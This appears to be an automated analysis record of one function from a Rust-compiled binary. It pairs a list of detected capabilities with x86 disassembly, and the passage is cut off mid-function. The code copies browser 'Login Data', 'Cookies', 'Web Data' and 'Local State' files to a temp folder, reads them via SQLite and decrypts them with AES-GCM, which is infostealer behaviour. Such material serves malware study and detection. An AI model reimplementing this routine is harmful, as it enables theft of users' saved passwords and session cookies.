Function at 0x10008cfe
Capabilities:
Contain obfuscated stackstrings
Encode data using base64
Encrypt data using speck
Get geographical location
Get thread local storage value
Resolve function by parsing pe exports
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x640
call 0x10008d12
pop eax
lea esi, [esp + 0x1f0]
mov dword [esp + 0x318], edx
mov dword [esp + 0x314], ecx
mov dword [esp + 0x30], eax
xor eax, eax
and dword [esi], 0
mov dword [esi + 8], 0x2000002
mov byte [esi + 4], al
and word [esi + 5], 0
mov byte [esi + 7], al
lea ecx, [esp + 0x320]
mov edx, esi
call sym.__LT_sysinfo..windows..system..System_u20_as_u20_sysinfo..traits..SystemExt_GT_::new_with_specifics::h0a149fbc456ebb0e
lea ebx, [esp + 0x160]
mov ecx, ebx
call sym.__LT_sysinfo..windows..system..System_u20_as_u20_sysinfo..traits..SystemExt_GT_::host_name::h38be85295252dda5
mov ecx, esi
mov edx, 0x10167216
push 2
call sym.__LT_str_u20_as_u20_alloc..string..ToString_GT_::to_string::h76b562e98917fdcd
pop eax
lea edi, [esp + 0x90]
mov edx, ebx
mov ecx, edi
push esi
call sym.core::option::Option_LT_T_GT_::unwrap_or::h937a8767dd7de4b2
pop eax
lea ecx, [esp + 0x320]
call sym.core::ptr::drop_in_place_LT_sysinfo..windows..system..System_GT_::h44b5fed3bdbc4978
mov esi, dword [edi + 4]
lea ebx, [esp + 0x5dc]
mov edx, esi
mov ecx, ebx
push 0
push str._rustc_9b00956e56009bab2aa15d7bff10916599e3d6d6librarycore_srccharmethods.rs_g
push 1
push 0x101c2bf3
push dword [edi + 8]
call sym.alloc::str::__LT_impl_u20_str_GT_::replace::h2f2903ae104ffeb4
add esp, 0x14
mov ecx, dword [edi]
lea eax, [esp + 0x31c]
mov dword [eax], ebx
mov edx, esi
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 4]
mov dword [esp + 0x584], eax
mov eax, dword [ecx + 8]
mov dword [esp + 0x580], eax
xor eax, eax
cmp eax, 7
je 0x1000d188
mov dword [esp + str._rustc_9b00956e56009bab2aa15d7bff10916599e3d6d6librarycore_srccharmethods.rs_g], 0x10167f78
mov dword [esp + 0x324], 2
and dword [esp + 0x330], 0
inc eax
xor edi, edi
lea esi, [esp + 0x1f0]
mov dword [esp + 0x30c], eax
lea eax, [esp + 0x31c]
inc edi
mov dword [esp + 0x328], esi
mov dword [esp + 0x1f0], eax
mov dword [esp + 0x1f4], sym.__LT__RF_T_u20_as_u20_core..fmt..Display_GT_::fmt::h47856111cb2a05ae
mov dword [esp + 0x32c], edi
lea ecx, [esp + 0x618]
lea edx, [esp + 0x320]
call sym.alloc::fmt::format::h28429d8526483b61
and dword [esp + 0x2fc], 0
mov dword [esp + 0x300], edi
and dword [esp + 0x304], 0
lea ecx, [esp + 0x5ac]
call sym.super::targets::extractTargetsPath::targetsPathLogin_EXIST::hacbff416799cd6be
mov edx, dword [esp + 0x5b4]
mov eax, dword [esp + 0x5b0]
mov ecx, dword [esp + 0x5ac]
shl edx, 5
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x68], ecx
add edx, eax
mov dword [esp + 0x38], edx
mov dword [esp + 0x6c], edx
cmp eax, dword [esp + 0x38]
je 0x1000946c
lea ecx, [eax + 0x20]
mov dword [esp + 0x64], ecx
mov edx, dword [eax]
cmp edx, 0x80000000
je 0x1000946c
mov edi, dword [eax + 0x10]
mov esi, dword [eax + 0x14]
mov dword [esp + 0x48], edx
mov dword [esp + 0x20], ecx
mov dword [esp + 0x1c], edx
lea edx, [esp + 0x4c]
mov ecx, dword [eax + 0xc]
mov dword [edx + 8], ecx
movsd xmm0, qword [eax + 4]
movsd qword [edx], xmm0
movsd xmm0, qword [eax + 0x18]
movsd qword [esp + 0x2dc], xmm0
lea ebx, [esp + 0x320]
lea edx, [esp + 0x48]
mov ecx, ebx
call sym.__LT_std..path..PathBuf_u20_as_u20_core..clone..Clone_GT_::clone::h24ee1b61c5380533
lea ecx, [esp + 0x1e0]
mov edx, ebx
call sym.super::find::key_encrypted::hea3d0246650a9ac7
mov eax, dword [esp + 0x1e0]
mov edx, dword [esp + 0x1e4]
cmp eax, 0x80000000
jne 0x10008f41
mov ecx, 0x80000000
call sym.core::ptr::drop_in_place_LT_alloc..borrow..Cow_LT_str_GT__GT_::h35a67361265e5661
mov ecx, edi
mov edx, esi
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
jmp 0x1000944f
mov ecx, dword [esp + 0x1e8]
mov dword [esp + 0x118], edi
mov dword [esp + 0x11c], esi
mov esi, dword [esp + 0x2dc]
mov dword [esp + 0x24], eax
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], ecx
mov ecx, dword [esp + 0x2e0]
mov dword [esp + 0x120], esi
mov dword [esp + 0x124], ecx
mov ecx, ebx
mov edx, str.temppassX
push 8
call sym.tempdir::TempDir::new::hee8d9f529dc63de4
pop eax
cmp dword [esp + 0x320], 0x80000001
je 0x1000fddc
movsd xmm0, qword [esp + 0x320]
movsd xmm1, qword [esp + 0x328]
movsd qword [esp + 0x98], xmm1
movsd qword [esp + 0x90], xmm0
lea ecx, [esp + 0x90]
call sym.tempdir::TempDir::path::h9d453d3f674ee437
mov esi, edx
lea edi, [esp + 0x5f8]
mov edx, eax
mov ecx, edi
push 4
push 0x10167bd4
push esi
call sym.std::path::Path::_join::hc26e11a7754a7b10
add esp, 0xc
lea ecx, [esp + 0x160]
lea edx, [esp + 0x118]
push dword [esp + 0x600]
push dword [esp + 0x600]
call sym.std::fs::copy::h7c2af619aa2efb12
pop eax
pop ecx
lea esi, [esp + 0x1f0]
mov edx, edi
mov ecx, esi
call sym.sqlite::connection::Connection::open::h741def09b1f4e26b
cmp dword [esp + 0x1f0], 2
jne 0x1000fd98
mov edx, dword [esi + 0xc]
movsd xmm0, qword [esi + 4]
mov dword [esp + 0x148], edx
movsd qword [esp + 0x140], xmm0
mov ecx, esi
push 0xa0
push 0x10167be8
call sym.sqlite::connection::Connection::prepare::h87e83596fac944de
pop eax
pop ecx
cmp dword [esp + 0x1f0], 2
jne 0x1000fd54
mov eax, dword [esp + 0x1f8]
mov ebx, dword [esp + 0x1f4]
and dword [esp + 0xf8], 0
mov dword [esp + 0xfc], 4
and dword [esp + 0x100], 0
mov dword [esp + 0x10], eax
mov ecx, esi
mov edx, ebx
push dword [esp + 0x10]
call sym.sqlite::statement::Statement::next::h7f4306fc55232a2b
pop eax
cmp dword [esp + 0x1f0], 2
jne 0x1000faa2
cmp byte [esp + 0x1f4], 0
jne 0x10009229
mov ecx, esi
mov edx, ebx
push 0
call sym.sqlite::statement::Statement::read::h54851bf1c05ecabd
pop eax
cmp dword [esp + 0x1f0], 2
jne 0x1000fb2a
mov eax, dword [esi + 0xc]
movsd xmm0, qword [esi + 4]
mov dword [esp + 0x110], eax
movsd qword [esp + 0x108], xmm0
mov ecx, esi
mov edx, ebx
push 1
call sym.sqlite::statement::Statement::read::h54851bf1c05ecabd
pop eax
cmp dword [esp + 0x1f0], 2
jne 0x1000fbb2
mov eax, dword [esi + 0xc]
movsd xmm0, qword [esi + 4]
mov dword [esp + 0x88], eax
movsd qword [esp + 0x80], xmm0
mov ecx, esi
mov edx, ebx
push 2
call sym.sqlite::statement::Statement::read::h0ad44a654b3eaedd
pop eax
cmp dword [esp + 0x1f0], 2
jne 0x1000fb6e
mov eax, dword [esp + 0x1f4]
mov edi, dword [esp + 0x1f8]
mov dword [esp + 0xc], eax
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x1f0]
push dword [esp + 0x1fc]
push edi
push dword [esp + 0x20]
call sym.super::aesdescrypt::aes_gcm_256::haca53c16321a178a
add esp, 0xc
mov esi, ebx
lea ebx, [esp + 0x320]
mov edx, 0x10167cd8
mov ecx, ebx
push 6
call sym.__LT_str_u20_as_u20_alloc..string..ToString_GT_::to_string::h76b562e98917fdcd
pop eax
lea ecx, [esp + 0xe8]
lea edx, [esp + 0x1f0]
push ebx
call sym.core::option::Option_LT_T_GT_::unwrap_or::h937a8767dd7de4b2
pop eax
push 0x24
pop ecx
push 4
pop edx
call sym.alloc::alloc::exchange_malloc::h142decb00e75c662
mov ecx, dword [esp + 0x110]
movsd xmm0, qword [esp + 0x108]
mov dword [eax + 8], ecx
movsd qword [eax], xmm0
mov ecx, dword [esp + 0x88]
movsd xmm0, qword [esp + 0x80]
mov dword [eax + 0x14], ecx
movsd qword [eax + 0xc], xmm0
mov ecx, dword [esp + 0xf0]
movsd xmm0, qword [esp + 0xe8]
mov dword [eax + 0x20], ecx
movsd qword [eax + 0x18], xmm0
push 3
pop ecx
mov dword [esp + 0x320], ecx
mov dword [esp + 0x324], eax
mov dword [esp + 0x328], ecx
mov edx, ebx
lea ecx, [esp + 0xf8]
mov ebx, esi
call sym.alloc::vec::Vec_LT_T_C_A_GT_::push::h4f1559ae74731786
mov ecx, dword [esp + 0xc]
mov edx, edi
lea esi, [esp + 0x1f0]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
jmp 0x10009092
movsd xmm0, qword [esp + 0x90]
movsd xmm1, qword [esp + 0x98]
movsd qword [esp + 0x328], xmm1
movsd qword [esp + 0x320], xmm0
mov ecx, esi
lea edx, [esp + 0x320]
call sym.tempdir::TempDir::close::h092734575a283462
mov ecx, esi
call sym.core::ptr::drop_in_place_LT_core..result..Result_LT__LP__RP__C_std..io..error..Error_GT__GT_::h5e2d578985658e2a
mov eax, dword [esp + 0xf8]
mov edi, dword [esp + 0xfc]
imul esi, dword [esp + 0x100], 0xc
mov dword [esp + 0xc], eax
push ebx
call sym._sqlite3_finalize
pop ecx
lea ecx, [esp + 0x140]
call sym.core::ptr::drop_in_place_LT_sqlite..connection..Connection_GT_::h78044568af6a192b
lea ecx, [esp + 0x160]
call sym.core::ptr::drop_in_place_LT_core..result..Result_LT_u64_C_std..io..error..Error_GT__GT_::hf9d97e6e74177711
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x14]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0xc]
lea eax, [edi + esi]
mov dword [esp + 0x160], edi
mov ebx, esi
mov dword [esp + 0x14], eax
mov dword [esp + 0x168], ecx
lea ecx, [edi + 0xc]
mov dword [esp + 0x16c], eax
test ebx, ebx
je 0x10009434
mov eax, dword [edi]
cmp eax, 0x80000000
je 0x1000943a
lea edx, [edi + 0xc]
mov esi, dword [edi + 4]
mov edi, dword [edi + 8]
mov dword [esp + 0x118], eax
mov dword [esp + 0x10], edx
mov dword [esp + 0x120], edi
mov dword [esp + 0x11c], esi
mov dword [esp + 0xc], ebx
mov ebx, ecx
mov ecx, esi
mov edx, edi
push 0x101680a4
push 0
call sym.__LT_alloc..vec..Vec_LT_T_C_A_GT__u20_as_u20_core..ops..index..Index_LT_I_GT__GT_::index::h0d1afef7ef128e8b
pop ecx
pop edx
mov dword [esp + 0x108], eax
mov ecx, esi
mov edx, edi
push 0x101680b4
push 1
call sym.__LT_alloc..vec..Vec_LT_T_C_A_GT__u20_as_u20_core..ops..index..Index_LT_I_GT__GT_::index::h0d1afef7ef128e8b
pop ecx
pop edx
mov dword [esp + 0x80], eax
mov ecx, esi
mov edx, edi
push 0x101680c4
push 2
call sym.__LT_alloc..vec..Vec_LT_T_C_A_GT__u20_as_u20_core..ops..index..Index_LT_I_GT__GT_::index::h0d1afef7ef128e8b
pop ecx
pop edx
mov dword [esp + 0xe8], eax
lea eax, [esp + 0x108]
mov dword [esp + str._rustc_9b00956e56009bab2aa15d7bff10916599e3d6d6librarycore_srccharmethods.rs_g], 0x101680d4
mov dword [esp + 0x1f4], 4
mov ecx, sym.__LT__RF_T_u20_as_u20_core..fmt..Display_GT_::fmt::h47856111cb2a05ae
and dword [esp + 0x200], 0
mov dword [esp + 0x320], eax
lea eax, [esp + 0x80]
mov dword [esp + 0x324], ecx
mov dword [esp + 0x328], eax
lea eax, [esp + 0xe8]
mov dword [esp + 0x32c], ecx
mov dword [esp + 0x330], eax
lea eax, [esp + 0x320]
mov dword [esp + 0x334], ecx
mov dword [esp + 0x1f8], eax
mov dword [esp + 0x1fc], 3
lea ecx, [esp + 0x90]
lea edx, [esp + 0x1f0]
call sym.alloc::fmt::format::h28429d8526483b61
mov edi, dword [esp + 0x94]
mov eax, dword [esp + 0x98]
mov esi, dword [esp + 0x90]
add eax, edi
lea ecx, [esp + 0x2fc]
mov edx, edi
push eax
call fcn.100e4dc4
pop eax
mov ecx, esi
mov edx, edi
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
lea ecx, [esp + 0x118]
call sym.core::ptr::drop_in_place_LT_alloc..vec..Vec_LT_alloc..string..String_GT__GT_::h13ecbf0fee111856
mov ecx, ebx
mov ebx, dword [esp + 0xc]
mov edi, dword [esp + 0x10]
add ecx, 0xc
add ebx, 0xfffffff4
jmp 0x100092cd
mov eax, dword [esp + 0x14]
jmp 0x1000943c
mov eax, ecx
mov dword [esp + 0x164], eax
lea ecx, [esp + 0x160]
call sym.__ZN4core3ptr104drop_in_place_LT_alloc..vec..into_iter..IntoIter_LT_alloc..vec..Vec_LT_alloc..string..String_GT__GT__GT_17h4a3
mov edx, dword [esp + 0x4c]
mov ecx, dword [esp + 0x1c]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov eax, dword [esp + 0x20]
lea esi, [esp + 0x1f0]
jmp 0x10008ea2
lea ecx, [esp + 0x60]
call sym.__ZN4core3ptr107drop_in_place_LT_alloc..vec..into_iter..IntoIter_LT__LP_std..path..PathBuf_C_std..path..PathBuf_RP__GT__GT_17h
and dword [esp + 0x2f0], 0
mov dword [esp + 0x2f4], 1
and dword [esp + 0x2f8], 0
and dword [esp + 0x56c], 0
push 4
pop edi
mov dword [esp + 0x570], edi
and dword [esp + 0x574], 0
lea ecx, [esp + 0x118]
call sym.super::targets::extractTargetsPath::targetsPathLogin_EXIST::hacbff416799cd6be
and dword [esp + 0x90], 0
mov dword [esp + 0x94], edi
mov edi, dword [esp + 0x120]
mov edx, dword [esp + 0x11c]
mov eax, dword [esp + 0x118]
and dword [esp + 0x98], 0
shl edi, 5
mov dword [esp + 0x1f0], edx
mov dword [esp + 0x1f8], eax
lea eax, [edx + 0x20]
lea ecx, [edx + edi]
mov dword [esp + 0x74], ecx
mov dword [esp + 0x1fc], ecx
test edi, edi
je 0x1000976b
mov ecx, dword [edx]
cmp ecx, 0x80000000
mov dword [esp + 0xc], ecx
je 0x1000976f
mov dword [esp + 0x14], eax
mov eax, dword [edx + 0x10]
mov ebx, dword [edx + 4]
mov esi, dword [edx + 8]
mov dword [esp + 0x10], edi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x20], eax
mov eax, dword [edx + 0x14]
mov dword [esp + 0x18], eax
mov eax, dword [edx + 0xc]
mov dword [esp + 0x48], eax
lea ecx, [esp + 0x320]
mov edx, ebx
mov dword [esp + 0x24], esi
push esi
call sym.__LT_T_u20_as_u20_alloc..string..ToString_GT_::to_string::h28222f6bb6d50481
pop eax
mov edi, dword [esp + 0x324]
lea ecx, [esp + 0x160]
mov edx, edi
push 8
push str.Web_DataLocal_StateDefaultWeb_DataCookiesDefaultCookiesDefaultNetworkCookiessrc_aesdescrypt.rs
push 0xb
push 0x10167ad8
push dword [esp + 0x338]
call sym.alloc::str::__LT_impl_u20_str_GT_::replace::h2f2903ae104ffeb4
add esp, 0x14
mov eax, dword [esp + 0x160]
mov esi, dword [esp + 0x168]
mov ecx, dword [esp + 0x320]
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x164]
mov edx, edi
mov edi, eax
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, edi
mov edx, esi
call sym.std::path::Path::exists::hefe3e060fd7ab94b
test al, al
je 0x10009635
mov eax, dword [esp + 0xc]
mov dword [esp + 0x320], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 0x324], ebx
mov ebx, dword [esp + 0x38]
mov dword [esp + 0x328], eax
mov eax, dword [esp + 0x48]
mov dword [esp + 0x32c], eax
mov dword [esp + 0x330], ebx
mov dword [esp + 0x334], edi
mov dword [esp + 0x338], esi
mov byte [esp + 0x33c], 1
lea ecx, [esp + 0x90]
lea edx, [esp + 0x320]
call sym.alloc::vec::Vec_LT_T_C_A_GT_::push::hbf6258311b35d25e
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x18]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov edi, dword [esp + 0x10]
lea esi, [esp + 0x1f0]
jmp 0x10009755
mov dword [esp + 0x2c], ebx
lea ecx, [esp + 0x320]
mov dword [esp + 0x28], edi
mov edx, edi
push esi
call sym.__LT_T_u20_as_u20_alloc..string..ToString_GT_::to_string::h28222f6bb6d50481
pop eax
mov edi, dword [esp + 0x324]
lea ecx, [esp + 0x160]
mov edx, edi
push 0x10
push 0x10167ae3
push 8
push str.Web_DataLocal_StateDefaultWeb_DataCookiesDefaultCookiesDefaultNetworkCookiessrc_aesdescrypt.rs
push dword [esp + 0x338]
call sym.alloc::str::__LT_impl_u20_str_GT_::replace::h2f2903ae104ffeb4
add esp, 0x14
mov eax, dword [esp + 0x160]
mov esi, dword [esp + 0x164]
mov ecx, dword [esp + 0x320]
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x168]
mov edx, edi
mov edi, eax
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, esi
mov edx, edi
call sym.std::path::Path::exists::hefe3e060fd7ab94b
mov ebx, eax
test al, al
je 0x10009714
mov eax, dword [esp + 0xc]
mov dword [esp + 0x320], eax
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x324], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 0x328], eax
mov eax, dword [esp + 0x48]
mov dword [esp + 0x32c], eax
mov eax, dword [esp + 0x34]
mov dword [esp + 0x330], eax
mov dword [esp + 0x334], esi
mov dword [esp + 0x338], edi
mov byte [esp + 0x33c], 1
lea ecx, [esp + 0x90]
lea edx, [esp + 0x320]
call sym.alloc::vec::Vec_LT_T_C_A_GT_::push::hbf6258311b35d25e
jmp 0x1000971f
mov ecx, dword [esp + 0x34]
mov edx, esi
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x38]
mov edx, dword [esp + 0x28]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x18]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
test bl, bl
lea esi, [esp + 0x1f0]
jne 0x10009755
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x2c]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x14]
add edi, 0xffffffe0
add edx, 0x20
add eax, 0x20
jmp 0x10009504
mov eax, dword [esp + 0x74]
mov dword [esp + 0x1f4], eax
mov ecx, esi
call sym.__ZN4core3ptr107drop_in_place_LT_alloc..vec..into_iter..IntoIter_LT__LP_std..path..PathBuf_C_std..path..PathBuf_RP__GT__GT_17h
mov edx, dword [esp + 0x98]
mov eax, dword [esp + 0x94]
mov ecx, dword [esp + 0x90]
shl edx, 5
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], ecx
add edx, eax
mov dword [esp + 0x2c], edx
mov dword [esp + 0x54], edx
cmp eax, dword [esp + 0x2c]
je 0x10009efc
lea ecx, [eax + 0x20]
mov dword [esp + 0x4c], ecx
mov edx, dword [eax]
cmp edx, 0x80000000
je 0x10009efc
mov edi, dword [eax + 0x10]
mov esi, dword [eax + 0x14]
mov dword [esp + 0x118], edx
mov dword [esp + 0x38], ecx
mov dword [esp + 0x24], edx
lea edx, [esp + 0x11c]
mov ecx, dword [eax + 0xc]
mov dword [edx + 8], ecx
movsd xmm0, qword [eax + 4]
movsd qword [edx], xmm0
movsd xmm0, qword [eax + 0x18]
movsd qword [esp + 0x554], xmm0
lea ebx, [esp + 0x320]
lea edx, [esp + 0x118]
mov ecx, ebx
call sym.__LT_std..path..PathBuf_u20_as_u20_core..clone..Clone_GT_::clone::h24ee1b61c5380533
lea ecx, [esp + 0x2dc]
mov edx, ebx
call sym.super::find::key_encrypted::hea3d0246650a9ac7
mov eax, dword [esp + 0x2dc]
cmp eax, 0x80000000
jne 0x10009842
mov ecx, edi
mov edx, esi
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
jmp 0x10009eda
mov dword [esp + 0x28], eax
mov edx, dword [esp + 0x2e0]
mov eax, dword [esp + 0x2e4]
mov ecx, ebx
mov dword [esp + 0x18], edx
mov dword [esp + 0x20], eax
push eax
call sym.__LT_alloc..vec..Vec_LT_T_C_A_GT__u20_as_u20_core..clone..Clone_GT_::clone::hba26fd587d7d825d
pop eax
lea ecx, [esp + 0x56c]
mov edx, ebx
call sym.alloc::vec::Vec_LT_T_C_A_GT_::push::hd8c9d1987273cc91
mov eax, dword [esp + 0x554]
mov ecx, dword [esp + 0x558]
mov dword [esp + 0x90], edi
mov dword [esp + 0x94], esi
mov dword [esp + 0x9c], ecx
mov dword [esp + 0x98], eax
mov ecx, ebx
mov edx, 0x10167cde
push 6
call sym.tempdir::TempDir::new::hee8d9f529dc63de4
pop eax
cmp dword [esp + 0x320], 0x80000001
je 0x1000fdff
movsd xmm0, qword [esp + 0x320]
movsd xmm1, qword [esp + 0x328]
movsd qword [esp + 0x168], xmm1
movsd qword [esp + 0x160], xmm0
lea ecx, [esp + 0x160]
call sym.tempdir::TempDir::path::h9d453d3f674ee437
mov esi, edx
lea edi, [esp + 0x5e8]
mov edx, eax
mov ecx, edi
push 2
push 0x10167cf4
push esi
call sym.std::path::Path::_join::hc26e11a7754a7b10
add esp, 0xc
mov ecx, ebx
lea edx, [esp + 0x90]
push dword [esp + 0x5f0]
push dword [esp + 0x5f0]
call sym.std::fs::copy::h7c2af619aa2efb12
pop eax
pop ecx
cmp dword [esp + 0x320], 0
jne 0x1000fe22
lea esi, [esp + 0x1f0]
mov edx, edi
mov ecx, esi
call sym.sqlite::connection::Connection::open::h741def09b1f4e26b
cmp dword [esp + 0x1f0], 2
jne 0x1000fe4d
mov eax, dword [esi + 0xc]
movsd xmm0, qword [esi + 4]
movq xmm2, qword [esp + 0x160]
movsd xmm1, qword [esp + 0x168]
mov dword [esp + 0x1e8], eax
movsd qword [esp + 0x1e0], xmm0
movsd qword [esp + 0x328], xmm1
movq qword [esp + 0x320], xmm2
mov ecx, esi
lea edx, [esp + 0x320]
call sym.tempdir::TempDir::close::h092734575a283462
mov ecx, esi
call sym.core::ptr::drop_in_place_LT_core..result..Result_LT__LP__RP__C_std..io..error..Error_GT__GT_::h5e2d578985658e2a
mov edx, dword [esp + 0x1e8]
mov ecx, esi
push 0x5f
push 0x10167d18
call sym.sqlite::connection::Connection::prepare::h87e83596fac944de
pop eax
pop ecx
cmp dword [esp + 0x1f0], 2
jne 0x1000fe91
mov ebx, dword [esp + 0x1f4]
mov eax, dword [esp + 0x1f8]
and dword [esp + 0x140], 0
mov dword [esp + 0x144], 4
and dword [esp + 0x148], 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x1c], ebx
mov ecx, esi
mov edx, ebx
push dword [esp + 0x14]
call sym.sqlite::statement::Statement::next::h7f4306fc55232a2b
pop eax
cmp dword [esp + 0x1f0], 2
jne 0x1000fae6
cmp byte [esp + 0x1f4], 0
jne 0x10009ca9
mov ecx, esi
mov edx, ebx
push 0
call sym.sqlite::statement::Statement::read::h54851bf1c05ecabd
pop eax
cmp dword [esp + 0x1f0], 2
jne 0x1000fbf6
mov eax, dword [esi + 0xc]
movsd xmm0, qword [esi + 4]
mov dword [esp + 0x100], eax
movsd qword [esp + 0xf8], xmm0
mov ecx, esi
mov edx, ebx
push 1
call sym.sqlite::statement::Statement::read::h54851bf1c05ecabd
pop eax
cmp dword [esp + 0x1f0], 2
jne 0x1000fcbf
mov eax, dword [esi + 0xc]
movsd xmm0, qword [esi + 4]
mov dword [esp + 0x110], eax
movsd qword [esp + 0x108], xmm0
mov ecx, esi
mov edx, ebx
push 2
call sym.sqlite::statement::Statement::read::h54851bf1c05ecabd
pop eax
cmp dword [esp + 0x1f0], 2
jne 0x1000fc7e
mov eax, dword [esi + 0xc]
movsd xmm0, qword [esi + 4]
mov dword [esp + 0x88], eax
movsd qword [esp + 0x80], xmm0
mov ecx, esi
mov edx, ebx
push 3
call sym.sqlite::statement::Statement::read::h0ad44a654b3eaedd
pop eax
cmp dword [esp + 0x1f0], 2
jne 0x1000fc3a
mov eax, dword [esp + 0x1f4]
mov ebx, dword [esp + 0x1f8]
mov edi, dword [esp + 0x1fc]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], ebx
call sym.rand::rngs::thread::thread_rng::h8a51dc0e42d378a5
mov esi, eax
mov ecx, eax
mov edx, 0x3e7
call sym.rand::rng::Rng::gen_range::h288c91f6bf442ca2
mov dword [esp + 0x548], eax
mov ecx, esi
call sym.__LT_alloc..rc..Rc_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h1ddcbfe3035ddd0a
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x1f0]
push edi
push ebx
mov ebx, dword [esp + 0x24]
push dword [esp + 0x28]
call sym.super::aesdescrypt::aes_gcm_256::haca53c16321a178a
add esp, 0xc
lea edi, [esp + 0x320]
mov edx, 0x10167cd8
mov ecx, edi
push 6
call sym.__LT_str_u20_as_u20_alloc..string..ToString_GT_::to_string::h76b562e98917fdcd
pop eax
lea ecx, [esp + 0xe8]
lea edx, [esp + 0x1f0]
push edi
call sym.core::option::Option_LT_T_GT_::unwrap_or::h937a8767dd7de4b2
pop eax
push 0x3c
pop ecx
push 4
pop edx
call sym.alloc::alloc::exchange_malloc::h142decb00e75c662
and dword [esp + 0x1f0], 0
mov dword [esp + 0x1f4], 1
and dword [esp + 0x33c], 0
mov dword [esp + 0x330], 0x20
mov byte [esp + 0x340], 3
and dword [esp + 0x320], 0
and dword [esp + 0x1f8], 0
and dword [esp + 0x328], 0
mov esi, eax
lea eax, [esp + 0x1f0]
mov dword [esp + 0x334], eax
mov dword [esp + 0x338], 0x10166840
push edi
lea eax, [esp + 0x54c]
push eax
call sym.core::fmt::num::imp::__LT_impl_u20_core..fmt..Display_u20_for_u20_i32_GT_::fmt::hd5981698a124ca9f
pop ecx
pop edx
movzx ecx, al
call sym.core::result::Result_LT_T_C_E_GT_::expect::h97219666374c5a58
mov eax, dword [esp + 0x1f8]
movsd xmm0, qword [esp + 0x1f0]
mov dword [esp + 0x68], eax
movsd qword [esp + 0x60], xmm0
mov eax, dword [esp + 0x100]
movsd xmm0, qword [esp + 0xf8]
mov dword [esi + 8], eax
movsd qword [esi], xmm0
mov eax, dword [esp + 0x110]
movsd xmm0, qword [esp + 0x108]
mov dword [esi + 0x14], eax
movsd qword [esi + 0xc], xmm0
mov eax, dword [esp + 0x88]
movsd xmm0, qword [esp + 0x80]
mov dword [esi + 0x20], eax
movsd qword [esi + 0x18], xmm0
mov eax, dword [esp + 0xf0]
movsd xmm0, qword [esp + 0xe8]
mov dword [esi + 0x2c], eax
movsd qword [esi + 0x24], xmm0
mov eax, dword [esp + 0x68]
movsd xmm0, qword [esp + 0x60]
mov dword [esi + 0x38], eax
movsd qword [esi + 0x30], xmm0
push 5
pop eax
mov dword [esp + 0x320], eax
mov dword [esp + 0x324], esi
lea esi, [esp + 0x1f0]
mov dword [esp + 0x328], eax
lea ecx, [esp + 0x140]
mov edx, edi
call sym.alloc::vec::Vec_LT_T_C_A_GT_::push::h4f1559ae74731786
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
jmp 0x100099fb
mov eax, dword [esp + 0x140]
mov edi, dword [esp + 0x144]
imul esi, dword [esp + 0x148], 0xc
mov dword [esp + 0xc], eax
push ebx
call sym._sqlite3_finalize
pop ecx
lea ecx, [esp + 0x1e0]
call sym.core::ptr::drop_in_place_LT_sqlite..connection..Connection_GT_::h78044568af6a192b
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x18]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0xc]
lea eax, [edi + esi]
mov ebx, esi
lea edx, [edi + 0xc]
mov dword [esp + 0x160], edi
mov dword [esp + 0x14], eax
mov dword [esp + 0x168], ecx
mov dword [esp + 0x16c], eax
test ebx, ebx
lea ecx, [esp + 0x160]
je 0x10009ec6
mov eax, dword [edi]
cmp eax, 0x80000000
je 0x10009ecc
lea ecx, [edi + 0xc]
mov esi, dword [edi + 4]
mov edi, dword [edi + 8]
mov dword [esp + 0x60], eax
mov dword [esp + 0x10], ecx
mov dword [esp + 0x68], edi
mov dword [esp + 0x64], esi
mov dword [esp + 0xc], ebx
mov ebx, edx
mov edx, edi
mov ecx, esi
push 0x10167ff8
push 0
